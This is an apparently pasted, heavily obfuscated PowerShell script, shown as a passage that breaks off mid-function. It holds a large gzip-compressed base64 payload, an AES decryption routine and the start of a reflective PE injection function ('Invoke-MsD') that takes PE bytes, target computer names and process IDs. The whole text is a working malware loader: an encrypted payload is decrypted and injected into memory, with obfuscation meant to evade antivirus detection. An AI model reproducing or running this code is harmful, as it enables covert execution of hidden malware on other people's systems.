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';
  6.  
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14. sal a New-Object;$UNL=(a IO.StreamReader((a IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String($Dxx),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()  -split '\|'
  15. ${G`lo`Bal:MG`GG} = ${U`NL}
  16.  
  17. function Edu(){Param([Parameter(Mandatory=$true)][byte[]]$aBc,[Parameter(Mandatory=$true)][byte[]]$aPp,[Parameter(Mandatory=$true)][ref]$raD,[Parameter(Mandatory=$false)][byte[]]$aCc)[System.reflection.assembly]::LoadWithPartialName("System.Security")|out-null;[System.reflection.assembly]::LoadWithPartialName("System.IO")|out-null;[byte[]]$oDc = @();$aSu=$aCc;[System.IO.MemoryStream] $oMemoryStream = a System.IO.MemoryStream;[System.Security.Cryptography.RijndaelManaged] $OmN = a System.Security.Cryptography.RijndaelManaged;$OmN.KeySize = 256;$OmN.BlockSize = 128;[System.Security.Cryptography.Rfc2898DeriveBytes] $oKK = a System.Security.Cryptography.Rfc2898DeriveBytes($aPp, $aSu, 1000);$OmN.Key = $oKK.GetBytes($OmN.KeySize / 8);$OmN.IV = $oKK.GetBytes($OmN.BlockSize / 8);$OmN.Mode = [System.Security.Cryptography.CipherMode]::CBC;$oCryptoStream = a System.Security.Cryptography.CryptoStream($oMemoryStream, $OmN.CreateDecryptor(), [System.Security.Cryptography.CryptoStreamMode]::Write);$oCryptoStream.Write($aBc, 0, $aBc.Length);$oCryptoStream.Close();$oDc = $oMemoryStream.ToArray();$raD.Value=$oDc;return ""};$Ni=Get-Culture
  18. function In`VOke`-MsD
  19. {
  20. [CmdletBinding()]
  21. Param(
  22.     [Parameter(pOSItiOn = 0, MaNDATORy = ${FaL`SE})]
  23.     [ValidateNotNullOrEmpty()]
  24.     [Byte[]]
  25.     ${PEBY`T`es},
  26.    
  27.     [Parameter(PosiTIOn = 1)]
  28.     [String[]]
  29.     ${cO`MP`Ut`erNA`me},
  30.    
  31.     [Parameter(POSiTiON = 2)]
  32.     [ValidateSet( 'WString', 'String', 'Void' )]
  33.     [String]
  34.     ${fUNc`Re`TUR`N`TYpE} = 'Void',
  35.    
  36.     [Parameter(pOsItion = 3)]
  37.     [String]
  38.     ${e`xeAr`gS},
  39.    
  40.     [Parameter(POSItIOn = 4)]
  41.     [Int32]
  42.     ${pROC`iD},
  43.    
  44.     [Parameter(pOSiTion = 5)]
  45.     [String]
  46.     ${pro`C`N`AmE},
  47.     [Switch]
  48.     ${fORc`eA`SLr},
  49.     [Switch]
  50.     ${D`oNoTZErO`Mz}
  51. )
  52. &("{3}{0}{1}{4}{2}"-f 't-S','tr','tMode','Se','ic') -Version 2
  53. ${R`EmoT`ESC`R`IPtBL`OCK} = {
  54.     [CmdletBinding()]
  55.     Param(
